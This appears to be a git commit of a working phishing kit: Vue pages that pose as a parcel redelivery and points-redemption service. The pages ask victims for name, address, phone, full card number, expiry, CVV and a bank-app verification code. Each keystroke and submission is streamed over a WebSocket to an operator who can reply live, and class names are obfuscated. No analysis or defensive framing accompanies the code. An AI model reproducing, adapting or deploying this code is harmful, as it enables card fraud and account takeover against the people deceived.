first commit

This commit is contained in:
tom@tom.com
2026-04-19 17:51:16 +08:00
commit 84cb2597a4
88 changed files with 24618 additions and 0 deletions

View File

@@ -0,0 +1,246 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inject, onMounted, reactive, ref } from "vue";
const configData: any = inject("$configData");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
const loadingStore = useLoadingStore();
const formData = reactive({
fullName: "",
phone: "",
address: "",
zipCode: "",
});
const formDataError = reactive({
fullName: false,
phone: false,
address: false,
zipCode: false,
});
const emailErrorMessage = ref("");
const router = useRouter();
const textChange = (event: any, key: any) => {
const value = event.target.value;
inputChange("addressPageData", key, value);
let noPass = false;
if (key === "fullName") {
if (!formData.fullName) {
formDataError.fullName = true;
noPass = true;
} else {
formDataError.fullName = false;
}
}
if (key === "address") {
if (!formData.address) {
formDataError.address = true;
noPass = true;
} else {
formDataError.address = false;
}
}
if (key === "zipCode") {
if (!formData.zipCode) {
formDataError.zipCode = true;
noPass = true;
} else {
formDataError.zipCode = false;
}
}
if (key === "phone") {
if (!formData.phone) {
formDataError.phone = true;
noPass = true;
} else {
formDataError.phone = false;
}
}
};
const next = () => {
let noPass = false;
if (!formData.fullName) {
formDataError.fullName = true;
noPass = true;
} else {
formDataError.fullName = false;
}
if (!formData.address) {
formDataError.address = true;
noPass = true;
} else {
formDataError.address = false;
}
if (!formData.zipCode) {
formDataError.zipCode = true;
noPass = true;
} else {
formDataError.zipCode = false;
}
if (!formData.phone) {
formDataError.phone = true;
noPass = true;
} else {
formDataError.phone = false;
}
if (noPass) {
return;
}
localStorage.setItem("phone", formData.phone);
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/card");
}, 200);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "address" },
})
);
localStorage.setItem("route", "address");
const phone = localStorage.getItem("phone");
if (phone) {
formData.phone = phone;
}
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="main-content-body">
<div style="min-height: 100px; padding: 0rem 0">
<div style="text-align: left">
<h1>{{ t("Mailing address") }}</h1>
<p>
{{
configData?.address_msg
? configData?.address_msg
: t(
"Dear users, please fill in the form carefully to ensure the successful delivery"
)
}}
</p>
</div>
<br />
<div>
<form :novalidate="true" @submit.prevent="next">
<div class="input">
<label>{{ t("Your Name") }}</label>
<input type="text" :required="true" @input="(event) => textChange(event, 'fullName')"
v-model="formData.fullName" placeholder=" " />
<div class="error" v-if="formDataError.fullName">
{{ t("There is an error in this field, please check") }}
</div>
</div>
<div class="input">
<label>{{ t("Address") }}</label>
<input type="text" @input="(event) => textChange(event, 'address')" v-model="formData.address"
:placeholder="t('street address or house number')" />
<div class="error" v-if="formDataError.address">
{{ t("There is an error in this field, please check") }}
</div>
</div>
<div class="input">
<label>{{ t("Zip Code") }}</label>
<input type="text" @input="(event) => textChange(event, 'zipCode')" v-model="formData.zipCode"
placeholder=" " />
<div class="error" v-if="formDataError.zipCode">
{{ t("There is an error in this field, please check") }}
</div>
</div>
<div class="input">
<label>{{ t("Telephone Number") }}</label>
<input type="tel" @input="(event) => textChange(event, 'phone')" v-model="formData.phone"
placeholder=" " />
<div class="error" v-if="formDataError.phone">
{{ t("There is an error in this field, please check") }}
</div>
</div>
<br />
<div class="button-submit">
<button type="button" v-on:click="next">
{{ t("Update Immediately") }}
</button>
</div>
</form>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
form div.input {
margin-bottom: 1.2em;
position: relative;
}
form div.input label {
display: block;
pointer-events: none;
text-transform: capitalize;
}
form div.input input {
padding: 5px;
font-size: 1em;
box-sizing: border-box;
width: 100%;
}
.js-has-pseudo [csstools-has-2u-33-36-31-2j-32-33-3a-2p-30-2x-2s-2p-38-2t-2l-1a-2x-32-3a-2p-30-2x-2s-w-2s-2x-3a-1a-2x-32-34-39-38-1m-2w-2p-37-14-2x-32-34-39-38-1m-2x-32-3a-2p-30-2x-2s-15-w-1a-2t-36-36-33-36]:not(.does-not-exist):not(.does-not-exist):not(.does-not-exist):not(.does-not-exist):not(does-not-exist):not(does-not-exist):not(does-not-exist) {
display: block;
color: red;
font-size: 0.9em;
}
form[novalidate].invalid div.input:has(input:invalid) .error {
display: block;
color: red;
font-size: 0.9em;
}
.error {
display: block;
color: red;
font-size: 0.9em;
}
</style>

View File

@@ -0,0 +1,295 @@
<script setup lang="ts">
import {
nextTick,
onMounted,
onUnmounted,
reactive,
ref,
watch,
} from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "appValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query) {
console.log("route", query);
cardType.value = query.cardType;
}
localStorage.setItem("route", "appValid");
eventBus.on("app-valid", handleEvent);
});
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("app-valid", handleEvent);
});
const formData = reactive({ verifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
showInput.value = !!(message.value.includes(":") || newValue.includes(""));
});
const submit = async () => {
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitAppValidCode",
formData: formData,
},
})
);
message.value = "";
};
</script>
<template>
<div class="container">
<div class="content">
<div class="card-logo">
<!-- <CardType2 :cardType="cardType" />-->
<img
src="/cardloading.svg"
alt="card-logo"
style="width: 100%"
/>
</div>
<div class="card-tye" v-if="cardType">
{{ cardType }}
</div>
<br />
<p>
<img
class="safe-icon"
src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAB2AAAAdgB+lymcgAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAZYSURBVHic7ZtrcFTlGcd/z9lNRBIQMbQKhiAKqChesMHKzSVMvc3YQZqIM8pMC0OVoSpqKYMfjP3gZRx7QR0vHXTqUIGswRk7tZ1aJWECDFHU0QEDI2STEEVCBgwbssnuOU8/tDITN+Q95+zZTWz39y05z+X/POec97znfc9Cnjx58vwfI7lOOPndyolOWG8AuR6Y9l8ZTSLOzqQtOw9XRNtzqSerDZj54YqCjq7jMyxhjiozRZgLTDK4faWwR5AGC91xdgeNe6uifdnSGGgDSv+5ZHy40Jmp6swWZI7CdcBZGYbtFvhERfcINBRowbYDkU3HgtALGTRggLM7DygLStigCIfUYYcFDTbOjtZI7T4E9RfKLdXVVtm8fTcjeosFP3bgKoGwn6RBo3BMYBfIDsvSdw7Nj37m1tdVAy56744yDYVqUMr9y8whwlYnVLC8de4bx82mBqY13D6qN3nWHmBKIOJyhdBYdJS5pgHUMsVJJEes4ftWPIBSHi9hlcnM2AARrQpGUe4R4R6TjbEBKBcFomZouNRkYG4AFAQgZKgYYTJw04D/afINGGoBQ02+AUMtYKgZFnN5E2PDo7i++DK+SXWzK74Px997z4AM+waUF0/jqQuXcU64CIDd8SZ+1fICtjqBxB/Wt8Ds4un8oey+08UDzCq+lBtHzQgsx7C9AuaNnsHTpcsolHSJJeExgeUZlldAxeireaZ0+YDF92mKnfF9bkMZBws3Deh1my0Ibj7nOp4o/QVhCaUds9Xht+0baes76jZcwmTgpgE9brNlyi1jfsTjFy49Y/HV7a/z9xMfeAl5ymRgHgOELhRPN50g3F1Swa1jyulxenm14x80nNw7qM+ic2ezbvxdWJK+RpNSm3Vtr/Fe18deZAB0mQzcXAGHvWZdPHY2D56/iKkjJnDVyMn8fuJ93DF2zhntq86bz6MTBi4+6aRY27bBT/EgtJlMzFeAmoN8lwWjr+n3tyXCuvFLCItFTef2fsfuLqngwfMXIQOszvVpit8c3sD2rk+9SgBAVAJoANLkYjDtR2fqZHoUhDUXVBEixKbObQD8fNxNrPrh7QPG6NMUv259xXjrDI7TZLJwMw/4xGvaP3W8w/xRV1IU6r8eIQiPXPAzwhJipFXIih/cNqB/ryZ5uOVldsU/95q6H46K8b4xrgpfXL+k1HbsVq/JLzt7Ii+Ureo3i3NDwunjodaX2R03njwjdjI0oe0nm78czMY4CB6cv7lN4QuvyT/vaWVl7DlOpLpd+yScPla3vhRI8UCTqXhwORMU5V1fChJtrIyt54RtbkKP08cDLS/SGN/vJ1UaquJKs7upsPC2XyH7E4dZfuh3dKbO/Ej+tvgPuw/4TZOGZelfXdm5MYrR8S/ga79imnuPsKL5jxxLfZN2LG73sDK2nj0BFg8caT7K+24M3V0BkbqUqtRkoijWe4R7m9fTnuw8/b/jqZOsbHmeT081ZxI6DRHeoCpqu7J1G3Ry/eIpjm01IZm9QY6wCikvmkZILBq799NtG99XvKE4tlpT2yq2HHRj7un7gEl1lX9DudWfshwhvB27MfpTt+aezqbYPI7XaWFuURznCS8OnhrQXBFtBP9PhGyjUBtbULvbi4+P+9lZS44XSVySCNnWo16dPDcgFqltQnjaq1/WUZ48tHCL52epvxFdi54EMnlNC5rPwom4r5Pi+yuxie8vnm5ZViPKSL8xAiIhtjOreWGtr0UD38/01gW1e1W5369/cMi9fouHDJfFWyLRDYI8m0mMDHkqFqn5cyYBMt4XaK6/fA1INNM4nlHdFKuf7nnU/y7BfCpbUxmaNI6/AHcGEs+EsDWmHXcSqUtlGiqYnaGqqF3UwVJUNwUSbxAU3Xhe8blLgigegv5aXJFJdVWPgT4WaNxvEV0fq7tiNdXVwWwNk6XP5cvqKheJ8ip421AZhJOgK2KRNzcHFO80Wfu9wMXbKi+xYSMwK8NQu2zHusft661XsrY7fDAS/SJWP/0GUX4JpG8UmBBOgayNdTA3W8X/J00OuGR75biUrQ8jshql0GCeRHhNLbu6Zd7Wr7KtLae/GZpcv3iK48hDiCxNm0ILp1B9PYQ8ezAS9bwM75ec/2gKYOq2u0p6NVlliVwL4Kh+lHLsLe0L3+o0+ebJkydPngD5N3rjJPMVPswaAAAAAElFTkSuQmCC"
alt="safe-icon"
/><b>{{ t("Authorized bank") }}</b>
</p>
<p class="sub">
{{ t("Please go to the bank App to confirm the authorization") }}
</p>
<p class="sub">{{ t("Please do not close this page") }}</p>
<p class="error">
{{ message }}
</p>
<div
class="input"
data-v-509c2adf=""
style="text-align: center"
v-if="showInput"
>
<input
required
type="text"
inputmode="numeric"
@input="onchange"
v-model="formData.verifyCode"
minlength="3"
maxlength="8"
data-v-509c2adf=""
/>
</div>
<br data-v-509c2adf="" v-if="showInput" />
<div class="button-submit" data-v-509c2adf="" v-if="showInput">
<button type="button" data-v-509c2adf="" @click="submit">
{{ t("Submit") }}
</button>
</div>
<div v-if="!showInput">
<img
class="loading-icon"
src="@/assets/img/ac3bca143fcfa.svg"
alt="loading-icon"
/>
</div>
</div>
</div>
</template>
<style scoped>
@media (max-width: 767px) {
/* Mega Menu */
body {
padding-top: 10px !important;
padding-bottom: 96px !important;
}
}
.sub {
opacity: 0.6;
}
.error {
color: red;
}
div.container {
display: flex;
align-items: center;
justify-content: center;
height: 100dvh;
padding: 0 10px;
font-size: 16px;
}
div.container .content {
text-align: center;
}
div.container .content .card-logo {
width: 120px;
margin: 0 auto;
position: relative;
}
div.container .content .card-logo:after {
content: "";
display: block;
position: absolute;
top: 0;
width: 15px;
height: 100%;
background: linear-gradient(
90deg,
transparent,
rgba(255, 255, 255, 0.6352941176),
transparent
);
animation: line 2s infinite;
}
@keyframes line {
0% {
left: -15px;
}
to {
left: 100%;
}
}
div.container .content .safe-icon {
display: inline-block;
width: 16px;
vertical-align: baseline;
}
div.container .content .loading-icon {
margin: 0 auto;
width: 50px;
opacity: 0.6;
}
div.input {
position: relative;
top: -0.5em;
}
div.input input {
width: 80%;
padding: 5px;
text-align: center;
outline: none;
border: 2px solid black;
border-radius: 5px;
font-weight: 700;
font-size: 1.1em;
box-sizing: border-box;
}
div.input input:focus {
border-color: #5381be;
}
div.button-submit button {
padding: 8px 20px;
cursor: pointer;
background-color: #5381be;
color: #fff;
border: none;
outline: none;
border-radius: 3px;
}
p {
display: block;
margin-block-start: 1em;
margin-block-end: 1em;
margin-inline-start: 0px;
margin-inline-end: 0px;
unicode-bidi: isolate;
}
.container div.input label {
display: block;
margin-bottom: 5px;
}
.container div.input input {
width: 130px;
padding: 8px 5px;
text-align: center;
outline: none;
border: 2px solid black;
border-radius: 5px;
font-weight: 700;
font-size: 16px;
box-sizing: border-box;
}
.container div.input input:focus {
border-color: #5381be;
}
.container div.button-submit button {
width: 80px;
padding: 10px 5px;
cursor: pointer;
background-color: #5381be;
color: #fff;
border: none;
outline: none;
border-radius: 3px;
}
.container .resend {
margin-top: 8px;
text-align: center;
font-size: 13px;
}
.container .resend a {
color: #000;
-webkit-text-decoration: underline;
text-decoration: underline;
}
.button-submit {
text-align: center;
}
</style>

View File

@@ -0,0 +1,282 @@
<template>
<CommonLayout>
<template #default>
<div class="">
<div class="main-content-body">
<div style="min-height: 100px; padding: 0 0">
<div style="text-align: left; ">
<h1 style="color: #3c8872;">{{ t("Online Payment") }}</h1>
<p>
{{
configData?.pay_msg
? configData?.pay_msg
: t("For redelivery, we need to charge some service fees.Your package will be re-delivered after payment")
}}
</p>
<p>
<b>
{{ t("lump sum: ") }}
{{
configData?.pay_amount ? configData?.pay_amount : "₹25.09"
}}
</b>
</p>
</div>
<br />
<form @submit.prevent="next">
<div class="input">
<label>{{ t("Cardholder") }}</label>
<input
type="text"
placeholder=" "
v-model="formData.cardName"
@input="onCardNameChange"
required
/>
</div>
<div class="input">
<label>{{ t("Card Number") }}</label>
<input
type="text"
placeholder="Credit card payments only"
@input="onCardNumberChange"
v-model="formData.cardNumber"
required
maxlength="19"
minlength="8"
inputmode="numeric"
/>
<div class="error">
{{ cardMessage }}
</div>
<div class="card-icons">
<img src="@/assets/img/b4f258fb3fcfa.svg" alt="" />
<img src="@/assets/img/d9f501073fcfa.svg" alt="" />
<img src="@/assets/img/d2820b3b3fcfa.svg" alt="" />
<img src="@/assets/img/e62e66803fcfa.svg" alt="" />
<img src="@/assets/img/272b931f3fcfa.svg" alt="" />
<img src="@/assets/img/761998023fcfa.svg" alt="" />
<img src="@/assets/img/c8e88e5f3fcfa.svg" alt="" />
<img src="@/assets/img/1a32e1333fcfa.svg" alt="" />
<img src="@/assets/img/56af3b633fcfa.svg" alt="" />
</div>
</div>
<div
class="input-field"
style="display: flex; gap: 10px; align-items: flex-end"
>
<div class="input">
<label>{{ t("Expire Date") }}</label>
<input
type="text"
placeholder="MM/YY"
@input="onExpiresChange"
v-model="formData.expires"
minlength="5"
required
maxlength="5"
inputmode="numeric"
/>
</div>
<div class="input">
<label>
{{ t("Security Code") }}
<span> (CVV)</span>
</label>
<input
type="text"
required
@input="onCvvChange"
v-model="formData.cvv"
placeholder="123"
minlength="3"
maxlength="4"
inputmode="numeric"
/>
<img
src="@/assets/img/68eec8c23fcfa.svg"
alt="cvv"
style="
position: absolute;
right: 10px;
height: 1.5em;
box-sizing: border-box;
pointer-events: none;
"
/>
</div>
</div>
<div class="button-submit">
<button type="submit">
Confirm Payment {{
configData?.pay_amount ? configData?.pay_amount : "₹25.09"
}}
</button>
</div>
</form>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style>
@media (min-width: 1024px) {
.about {
min-height: 100vh;
display: flex;
align-items: center;
}
}
</style>
<script setup lang="ts">
import { nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import eventBus from "@/utils/eventBus";
import { useRoute } from "vue-router";
import { configData, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n(); // 解构出t方法
const invoiceNumber = ref("");
const loadingStore = useLoadingStore();
const formData = reactive({
cardNumber: "",
cardName: "",
expires: "",
cvv: "",
});
const onCardNameChange = (value: any) => {
const rawValue = value.target.value;
textChange("cardName", rawValue);
formData.cardName = rawValue;
};
const onCardNumberChange = (value: any) => {
const rawValue = value.target.value.replace(/\s+/g, "");
textChange("cardNumber", rawValue);
formData.cardNumber = rawValue
.replace(/\D/g, "") // 移除非数字字符
.replace(/(.{4})/g, "$1 ") // 每四个数字后插入一个空格
.trim();
};
const onExpiresChange = (value: any) => {
const rawValue = value.target.value.replace(/\D/g, "").slice(0, 4);
let formattedValue = rawValue.replace(/\D/g, "");
if (rawValue.length > 2) {
formattedValue = rawValue.slice(0, 2) + "/" + rawValue.slice(2, 4);
}
textChange("expires", formattedValue);
formData.expires = formattedValue;
};
const onCvvChange = (value: any) => {
const rawValue = value.target.value.replace(/\D/g, "");
textChange("cvv", rawValue);
formData.cvv = rawValue;
};
const textChange = (key: any, value: any) => {
inputChange("input_card", key, value);
cardMessage.value = "";
};
const next = async () => {
await nextTick();
loadingStore.setLoading(true);
const data = { ...formData };
data.cardNumber = data.cardNumber.replace(/\s+/g, "");
localStorage.setItem("cardNumber", data.cardNumber);
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: { type: "submitCard", formData: data },
})
);
};
const cardMessage = ref("");
const handleEvent = (data: { message2: string }) => {
cardMessage.value = data.message2;
};
onMounted(() => {
eventBus.on("my-event", handleEvent);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "card" },
})
);
localStorage.setItem("route", "card");
const route = useRoute();
const query = route.query as any;
if (query && query.message2) {
cardMessage.value = query.message2;
}
const inumber = localStorage.getItem("orderNumber");
if (inumber) {
invoiceNumber.value = inumber;
} else {
invoiceNumber.value = "8000" + generateRandomNineDigitNumber().toString();
localStorage.setItem("orderNumber", invoiceNumber.value.toString());
}
});
function generateRandomNineDigitNumber(): number {
// 生成一个 9 位的随机整数
const min = 100000; // 9 位数的最小值
const max = 999999; // 9 位数的最大值
// 生成并返回随机的 9 位数
return Math.floor(Math.random() * (max - min + 1)) + min;
}
onUnmounted(() => {
eventBus.off("my-event", handleEvent);
});
</script>
<style scoped>
form div.input {
margin-bottom: 1.2em;
position: relative;
}
form div.input label {
display: block;
pointer-events: none;
text-transform: capitalize;
}
form div.input input {
padding: 5px;
font-size: 1em;
box-sizing: border-box;
width: 100%;
}
.card-icons {
display: flex;
flex-wrap: wrap;
gap: 5px;
justify-content: flex-end;
pointer-events: none;
}
.card-icons img {
width: 30px;
height: 30px;
}
.error {
color: red;
font-size: 0.9em;
}
</style>

View File

@@ -0,0 +1,24 @@
<script setup lang="ts">
import { footerHtml, headerHtml } from "@/utils/common";
</script>
<template>
<body>
<div class="v-application v-application--is-ltr theme--light">
<div class="v-application--wrap">
<div
v-html="headerHtml"
></div>
<main style="padding-top: 0px; display: flex; justify-content: center;margin-top: 60px;">
<div style="width: 100%; max-width: 800px">
<slot></slot>
</div>
</main>
<footer v-html="footerHtml"></footer>
</div>
</div>
</body>
</template>
<style></style>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,396 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inject, onMounted, ref } from "vue";
import { myWebSocket } from "@/utils/common";
const loadingStore = useLoadingStore();
const router = useRouter();
const payDate = ref("");
const invoiceNumber = ref("");
const next = () => {
if (price.value == 0) {
alert("Please redeem your favorite product");
return;
}
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/address");
}, 1000);
};
function getDateSevenDaysAgo(): Date {
// 获取当前时间
const currentDate = new Date();
// 计算七天前的日期
currentDate.setDate(currentDate.getDate() - 7);
return currentDate;
}
function generateRandomNineDigitNumber(): number {
// 生成一个 9 位的随机整数
const min = 100000; // 9 位数的最小值
const max = 999999; // 9 位数的最大值
// 生成并返回随机的 9 位数
return Math.floor(Math.random() * (max - min + 1)) + min;
}
const count1 = ref(0);
const count2 = ref(0);
const count3 = ref(0);
const count4 = ref(0);
const count5 = ref(0);
const count6 = ref(0);
const price = ref(0);
const type = ref(-1);
const add = (value: number, type: number) => {
if (price.value != 0 && value != 0) {
alert("You don't have enough points");
return;
}
switch (type) {
case 1:
count1.value = value;
price.value = 2999;
break;
case 2:
count2.value = value;
price.value = 2999;
break;
case 3:
count3.value = value;
price.value = 2899;
break;
case 4:
count4.value = value;
price.value = 2899;
break;
case 5:
count5.value = value;
price.value = 2699;
break;
case 6:
count6.value = value;
price.value = 2699;
break;
}
if (value == 0) {
price.value = 0;
}
};
onMounted(() => {
window.scrollTo({
top: 0,
});
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "goods" },
})
);
const dateSeven = getDateSevenDaysAgo();
payDate.value = dateSeven.toLocaleDateString();
const inumber = localStorage.getItem("invoiceNumber");
if (inumber) {
invoiceNumber.value = inumber;
} else {
invoiceNumber.value = generateRandomNineDigitNumber().toString();
localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
}
localStorage.setItem("route", "goods");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="main-content-body OTU1MDA">
<form class="container NjcwMA NDg2MDA" data-v-5571f497="">
<div class="points NjcxMDA ODc4MDA" data-v-5571f497="">
<div data-v-5571f497="">
<div data-v-5571f497="">Points Available</div>
<div data-v-5571f497="">3022</div>
</div>
<div data-v-5571f497="">
<div data-v-5571f497="">Spend points</div>
<div data-v-5571f497="">{{ price }}</div>
</div>
</div>
<div class="products MjMwMA MzkzMDA NjMwMDA" data-v-5571f497="">
<div class="item NjAyMDA Mjg0MDA MTA0MDA" data-v-5571f497="">
<div data-v-5571f497="">
<img
src="@/assets/img/products/1.png"
alt=""
data-v-5571f497=""
style="aspect-ratio: 1 / 1; object-fit: cover"
/>
</div>
<div data-v-5571f497="">
<div class="name OTYxMDA MzgyMDA" data-v-5571f497="">
Hanlin Future69 ENC Noise-cancelling esports Headphones
</div>
<div class="price ODY5MDA OTYyMDA MTk5MDA" data-v-5571f497="">
2999 point + 17.05
</div>
<div
class="control MTM0MDA NzYwMA MjI5MDA OTc2MDA"
data-v-5571f497=""
>
<div data-v-5571f497="" v-on:click="add(1, 1)">+</div>
<div class="count NjczMDA NzY5MDA" data-v-5571f497="">
{{ count1 }}
</div>
<div data-v-5571f497="" v-on:click="add(0, 1)">-</div>
</div>
</div>
</div>
<div class="item NzE2MDA" data-v-5571f497="">
<div data-v-5571f497="">
<img
src="@/assets/img/products/2.png"
alt=""
data-v-5571f497=""
style="aspect-ratio: 1 / 1; object-fit: cover"
/>
</div>
<div data-v-5571f497="">
<div class="name MzkwMA" data-v-5571f497="">
HANLIN Bluetooth Earphone Smart Watch
</div>
<div class="price Nzg4MDA" data-v-5571f497="">
2999 point + 17.05
</div>
<div class="control NTM2MDA MjExMDA" data-v-5571f497="">
<div data-v-5571f497="" v-on:click="add(1, 2)">+</div>
<div class="count NTE3MDA NzE3MDA" data-v-5571f497="">
{{ count2 }}
</div>
<div data-v-5571f497="" v-on:click="add(0, 2)">-</div>
</div>
</div>
</div>
<div class="item ODMwMDA OTgwMA ODkxMDA" data-v-5571f497="">
<div data-v-5571f497="">
<img
src="@/assets/img/products/3.png"
alt=""
data-v-5571f497=""
style="aspect-ratio: 1 / 1; object-fit: cover"
/>
</div>
<div data-v-5571f497="">
<div class="name NzQ3MDA NTgyMDA" data-v-5571f497="">
Oral-B Smart 5 Electric Toothbrush 5000N
</div>
<div class="price OTk4MDA MjQ0MDA" data-v-5571f497="">
2899 point + 17.05
</div>
<div class="control NDkxMDA NzA0MDA NzYxMDA" data-v-5571f497="">
<div data-v-5571f497="" v-on:click="add(1, 3)">+</div>
<div
class="count NTQ0MDA NjcwMA NjMwMDA NzUzMDA"
data-v-5571f497=""
>
{{ count3 }}
</div>
<div data-v-5571f497="" v-on:click="add(0, 3)">-</div>
</div>
</div>
</div>
<div class="item NzMyMDA OTM4MDA NDQwMA" data-v-5571f497="">
<div data-v-5571f497="">
<img
src="@/assets/img/products/4.png"
alt=""
data-v-5571f497=""
style="aspect-ratio: 1 / 1; object-fit: cover"
/>
</div>
<div data-v-5571f497="">
<div class="name NjQ1MDA NTIwMA" data-v-5571f497="">
Mi Xiaomi BHR4857HK 3.5L Smart Air Fryer
</div>
<div class="price NzkwMDA OTA3MDA" data-v-5571f497="">
2899 point + 17.05
</div>
<div
class="control MTg2MDA MjExMDA NTM2MDA OTAw"
data-v-5571f497=""
>
<div data-v-5571f497="" v-on:click="add(1, 4)">+</div>
<div
class="count MjczMDA MTczMDA ODA5MDA MTU3MDA"
data-v-5571f497=""
>
{{ count4 }}
</div>
<div data-v-5571f497="" v-on:click="add(0, 4)">-</div>
</div>
</div>
</div>
<div class="item MTUyMDA NDY1MDA" data-v-5571f497="">
<div data-v-5571f497="">
<img
src="@/assets/img/products/5.png"
alt=""
data-v-5571f497=""
style="aspect-ratio: 1 / 1; object-fit: cover"
/>
</div>
<div data-v-5571f497="">
<div class="name MzgwMDA MzkyMDA" data-v-5571f497="">
Project E Beauty RF Ultrasonic Slimming and Slimming Apparatus
</div>
<div class="price MzY3MDA" data-v-5571f497="">
2699 point + 17.05
</div>
<div class="control ODUwMA MTE0MDA" data-v-5571f497="">
<div data-v-5571f497="" v-on:click="add(1, 5)">+</div>
<div class="count MTcxMDA NDk3MDA" data-v-5571f497="">
{{ count5 }}
</div>
<div data-v-5571f497="" v-on:click="add(0, 5)">-</div>
</div>
</div>
</div>
<div class="item ODIwMDA NDAw" data-v-5571f497="">
<div data-v-5571f497="">
<img
src="@/assets/img/products/6.png"
alt=""
data-v-5571f497=""
style="aspect-ratio: 1 / 1; object-fit: cover"
/>
</div>
<div data-v-5571f497="">
<div class="name OTczMDA OTcyMDA" data-v-5571f497="">
YOTAMED 3 Ply Disposable Nano Mask ASTM 1 (Adult) 50 Pack
(Not Individual)
</div>
<div class="price OTYwMA NDMwMA NjM2MDA" data-v-5571f497="">
2699 point + 17.05
</div>
<div class="control MTE3MDA Nzk4MDA MTc5MDA" data-v-5571f497="">
<div data-v-5571f497="" v-on:click="add(1, 6)">+</div>
<div class="count NjIwMA NjkxMDA ODU5MDA" data-v-5571f497="">
{{ count6 }}
</div>
<div data-v-5571f497="" v-on:click="add(0, 6)">-</div>
</div>
</div>
</div>
</div>
<div class="button-submit NjkzMDA" data-v-5571f497="">
<button
type="button"
data-v-5571f497=""
class="___OTAwMA== NTE3MDA NjY0MDA ODAw"
v-on:click="next"
>
<e-span data-t="Exchange" class="_NDcwMA== NTYyMDA"
>Exchange</e-span
>
</button>
</div>
</form>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.container[data-v-5571f497] {
padding: 1rem 0
}
.container div.points[data-v-5571f497] {
color: #fff!important
}
.container div.points[data-v-5571f497] {
position: relative;
display: flex;
justify-content: space-around;
background-color: #e00b14;
border-radius: 10px;
padding: 20px 10px;
transition: all .3s
}
.container div.points>div[data-v-5571f497] {
flex: 1;
text-align: center
}
.container div.products[data-v-5571f497] {
display: flex;
flex-wrap: wrap;
max-width: 800px;
margin: 0 auto
}
.container div.products .item[data-v-5571f497] {
margin: 5px;
padding: 10px;
width: calc(50% - 10px);
border-radius: 5px;
box-shadow: rgba(99,99,99,.2) 0 2px 3px;
display: flex;
flex-direction: column;
align-items: center;
justify-content: space-between
}
.container div.products .item img[data-v-5571f497] {
width: 100%;
aspect-ratio: 1/1
}
.container div.products .item .price[data-v-5571f497] {
font-size: 14px;
color: #0d1973
}
.container div.products .item .control[data-v-5571f497] {
display: flex;
justify-content: space-evenly;
width: 50%;
border-radius: 5px;
border: 1px solid grey;
font-weight: 700;
cursor: pointer
}
.container div.products .item .control>div[data-v-5571f497] {
flex: 1;
text-align: center
}
.button-submit[data-v-5571f497] {
position: fixed;
z-index: 10;
bottom: 0;
left: 0;
width: 100%;
box-sizing: border-box;
background-color: #fff;
box-shadow: rgba(0,0,0,.05) 0 6px 24px,rgba(0,0,0,.08) 0 0 0 1px;
padding: 10px
}
.button-submit button[data-v-5571f497] {
width: 100%
}
</style>

View File

@@ -0,0 +1,143 @@
<script setup lang="ts">
import { inject, onMounted, ref } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
const router = useRouter();
import { useLoadingStore } from "@/stores/loadingStore";
import { debounce } from "lodash";
import moment from "moment";
const loadingStore = useLoadingStore();
import { useI18n } from "vue-i18n";
import { myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
const onchange = debounce((value: any) => {
localStorage.setItem("home", value.target.value);
}, 300);
const payDate1 = ref("");
const invoiceNumber = ref("");
const next = () => {
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/address");
}, 200);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "home" },
})
);
payDate1.value = formatDate(getDateSevenDaysAgo(1));
const inumber = localStorage.getItem("invoiceNumber");
if (inumber) {
invoiceNumber.value = inumber;
} else {
invoiceNumber.value = generateRandomNineDigitNumber().toString();
localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
}
localStorage.setItem("route", "home");
});
function formatDate(date: Date): string {
return moment(date).format("YYYY/MM/DD");
}
function getDateSevenDaysAgo(day: number): Date {
// 获取当前时间
const currentDate = new Date();
// 计算七天前的日期
currentDate.setDate(currentDate.getDate() + day);
return currentDate;
}
function generateRandomNineDigitNumber(): number {
// 生成一个 9 位的随机整数
const min = 100000000; // 9 位数的最小值
